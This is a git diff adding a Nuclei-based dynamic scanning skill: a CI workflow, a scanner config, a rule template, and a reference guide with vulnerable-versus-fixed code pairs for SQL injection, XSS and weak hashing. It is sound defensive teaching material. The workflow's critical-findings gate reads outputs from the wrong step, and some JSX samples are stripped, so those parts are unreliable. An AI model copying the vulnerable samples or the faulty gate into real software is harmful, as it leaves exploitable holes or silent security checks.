target_url: + description: 'Target URL to scan' + required: true + default: 'https://staging.example.com' + severity: + description: 'Severity levels (comma-separated)' + required: false + default: 'critical,high' + +env: + # Default target URL (override with workflow_dispatch input) + TARGET_URL: https://staging.example.com + # Severity levels to scan + SEVERITY: critical,high + # Template tags to use + TEMPLATE_TAGS: cve,owasp,misconfig + +jobs: + nuclei-scan: + name: Nuclei Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Run Nuclei Scan + id: nuclei + uses: projectdiscovery/nuclei-action@main + with: + target: ${{ github.event.inputs.target_url || env.TARGET_URL }} + severity: ${{ github.event.inputs.severity || env.SEVERITY }} + templates: ${{ env.TEMPLATE_TAGS }} + output: nuclei-results.jsonl + + - name: Parse Nuclei Results + if: always() + run: | + # Install dependencies (if using custom parser) + # pip install -r requirements.txt + + # Parse results and generate HTML report + if [ -f nuclei-results.jsonl ]; then + echo "Parsing Nuclei results..." + python3 scripts/parse_nuclei_results.py \ + --input nuclei-results.jsonl \ + --output nuclei-report.html \ + --format html + + # Count findings by severity + CRITICAL=$(grep -c '"severity":"critical"' nuclei-results.jsonl || echo 0) + HIGH=$(grep -c '"severity":"high"' nuclei-results.jsonl || echo 0) + TOTAL=$(wc -l < nuclei-results.jsonl) + + echo "## Nuclei Scan Results" >> $GITHUB_STEP_SUMMARY + echo "- **Total Findings**: $TOTAL" >> $GITHUB_STEP_SUMMARY + echo "- **Critical**: $CRITICAL" >> $GITHUB_STEP_SUMMARY + echo "- **High**: $HIGH" >> $GITHUB_STEP_SUMMARY + + # Set outputs + echo "critical=$CRITICAL" >> $GITHUB_OUTPUT + echo "high=$HIGH" >> $GITHUB_OUTPUT + echo "total=$TOTAL" >> $GITHUB_OUTPUT + else + echo "No findings detected" >> $GITHUB_STEP_SUMMARY + echo "critical=0" >> $GITHUB_OUTPUT + echo "high=0" >> $GITHUB_OUTPUT + echo "total=0" >> $GITHUB_OUTPUT + fi + + - name: Upload SARIF file + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: nuclei.sarif + category: nuclei + + - name: Upload Artifacts + if: always() + uses: actions/upload-artifact@v4 + with: + name: nuclei-scan-results + path: | + nuclei-results.jsonl + nuclei-report.html + nuclei.sarif + retention-days: 30 + + - name: Comment on PR + if: github.event_name == 'pull_request' && always() + uses: actions/github-script@v7 + with: + script: | + const critical = '${{ steps.nuclei.outputs.critical || 0 }}'; + const high = '${{ steps.nuclei.outputs.high || 0 }}'; + const total = '${{ steps.nuclei.outputs.total || 0 }}'; + + const body = `## 🔒 Nuclei Security Scan Results + + | Severity | Count | + |----------|-------| + | Critical | ${critical} | + | High | ${high} | + | **Total** | **${total}** | + + ${critical > 0 ? '⚠️ **Critical vulnerabilities detected!**' : ''} + ${high > 0 ? '⚠️ High severity vulnerabilities detected.' : ''} + + View detailed results in the [workflow artifacts](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}).`; + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: body + }); + + - name: Fail on Critical Findings + if: steps.nuclei.outputs.critical > 0 + run: | + echo "::error::Critical vulnerabilities detected!" + exit 1 + + - name: Notify on Slack + if: failure() && steps.nuclei.outputs.critical > 0 + uses: slackapi/slack-github-action@v1 + with: + payload: | + { + "text": "🚨 Critical vulnerabilities detected in ${{ github.repository }}", + "blocks": [ + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": "*Critical Security Vulnerabilities Detected*\n\n*Repository:* ${{ github.repository }}\n*Branch:* ${{ github.ref_name }}\n*Critical Findings:* ${{ steps.nuclei.outputs.critical }}\n*High Findings:* ${{ steps.nuclei.outputs.high }}\n\n" + } + } + ] + } + env: + SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} + + # Optional: Separate job for authenticated scanning + nuclei-authenticated-scan: + name: Nuclei Authenticated Scan + runs-on: ubuntu-latest + if: github.ref == 'refs/heads/main' # Only run on main branch + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Run Authenticated Scan + uses: projectdiscovery/nuclei-action@main + with: + target: ${{ env.TARGET_URL }} + severity: critical,high + templates: cve,owasp + # Add authentication headers from secrets + headers: | + Authorization: Bearer ${{ secrets.API_TOKEN }} + Cookie: session=${{ secrets.SESSION_COOKIE }} + output: nuclei-auth-results.jsonl + + - name: Upload Authenticated Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: nuclei-authenticated-scan-results + path: nuclei-auth-results.jsonl + retention-days: 30 diff --git a/skills/appsec/dast-nuclei/assets/nuclei_config.yaml b/skills/appsec/dast-nuclei/assets/nuclei_config.yaml new file mode 100644 index 0000000..624833b --- /dev/null +++ b/skills/appsec/dast-nuclei/assets/nuclei_config.yaml @@ -0,0 +1,225 @@ +# Nuclei Configuration File +# Save as ~/.config/nuclei/config.yaml or specify with -config flag + +# Template configuration +templates: + # Auto-update templates on each run + update-templates: true + + # Template directory (default: ~/.nuclei-templates/) + # templates-directory: /custom/path/to/templates + + # Custom template paths + # custom-templates: + # - /path/to/custom/templates/ + # - /path/to/organization/templates/ + +# Scan configuration +severity: + - critical + - high + # - medium + # - low + # - info + +# Rate limiting (requests per second) +rate-limit: 50 + +# Concurrency (parallel template execution) +concurrency: 10 + +# Bulk size (parallel host scanning) +bulk-size: 10 + +# Timeout per request (seconds) +timeout: 10 + +# Retries for failed requests +retries: 1 + +# HTTP configuration +http: + # User agent + user-agent: "Mozilla/5.0 (compatible; Nuclei/3.0)" + + # Follow redirects + follow-redirects: true + + # Max redirects to follow + max-redirects: 3 + + # Custom headers (applied to all requests) + # headers: + # - "X-Custom-Header: value" + # - "Authorization: Bearer token" + + # Proxy configuration + # proxy: http://proxy.example.com:8080 + # proxy-socks: socks5://proxy.example.com:1080 + +# Network configuration +network: + # Disable SSL/TLS verification (use with caution) + # disable-ssl-verification: false + + # Enable HTTP/2 + # disable-http2: false + +# Output configuration +output: + # Silent mode (only show findings) + silent: false + + # Verbose mode (detailed output) + verbose: false + + # No color output + no-color: false + + # JSON output + json: false + + # JSONL output (one JSON per line) + jsonl: true + + # SARIF output + # sarif: true + + # Markdown output + # markdown: false + +# Filtering configuration +filters: + # Exclude templates by ID + # exclude-ids: + # - template-id-1 + # - template-id-2 + + # Exclude templates by tag + # exclude-tags: + # - tech + # - info + + # Exclude severity levels + # exclude-severity: + # - info + + # Include only specific tags + # tags: + # - cve + # - owasp + + # Include only specific templates + # include-templates: + # - /path/to/template.yaml + +# Performance tuning +performance: + # Maximum number of templates to run + # max-templates: 1000 + + # Maximum number of hosts to scan + # max-hosts: 10000 + + # Memory optimization (reduces memory usage) + # stream: true + + # Disable update check + # disable-update-check: false + +# CI/CD specific settings +ci: + # Fail on findings (exit code 1 if vulnerabilities found) + # fail-on-severity: + # - critical + # - high + + # No interactive prompts + # no-interaction: true + + # Suppress progress bars + # no-progress: true + +# Authentication configuration +authentication: + # For authenticated scanning, use headers or custom authentication scripts + # See authentication_patterns.md reference for details + + # Example: Bearer token authentication + # headers: + # - "Authorization: Bearer ${API_TOKEN}" + + # Example: Cookie-based authentication + # headers: + # - "Cookie: session=${SESSION_COOKIE}" + +# Reporting configuration +reporting: + # Report directory + # report-directory: ./nuclei-reports + + # Report format + # report-format: json + + # Include timestamp in filenames + # include-timestamp: true + +# Advanced configuration +advanced: + # Follow host redirects (allow redirects to different hosts) + # follow-host-redirects: false + + # Maximum response body size to read (in KB) + # max-response-size: 10240 + + # Include request/response in output + # include-rr: false + + # Store response + # store-response: false + + # Store response directory + # store-response-dir: ./responses/ + +# Exclude configuration (global exclusions) +exclude: + # Exclude specific hosts + # hosts: + # - https://safe-domain.com + # - https://third-party.com + + # Exclude URL patterns (regex) + # urls: + # - ".*\\.js$" + # - ".*\\.css$" + # - ".*logout.*" + +# Interactsh configuration (for OAST testing) +interactsh: + # Enable interactsh + # enable: true + + # Custom interactsh server + # server: https://interact.sh + + # Disable automatic polling + # disable-polling: false + +# Cloud configuration (for cloud-specific templates) +cloud: + # Enable cloud metadata service checks + # enable-metadata: true + +# Debug configuration +debug: + # Enable debug mode + # enable: false + + # Debug requests + # debug-req: false + + # Debug responses + # debug-resp: false + +# Example usage: +# nuclei -u https://target.com -config nuclei_config.yaml diff --git a/skills/appsec/dast-nuclei/assets/rule-template.yaml b/skills/appsec/dast-nuclei/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/appsec/dast-nuclei/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/appsec/dast-nuclei/references/EXAMPLE.md b/skills/appsec/dast-nuclei/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/appsec/dast-nuclei/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** 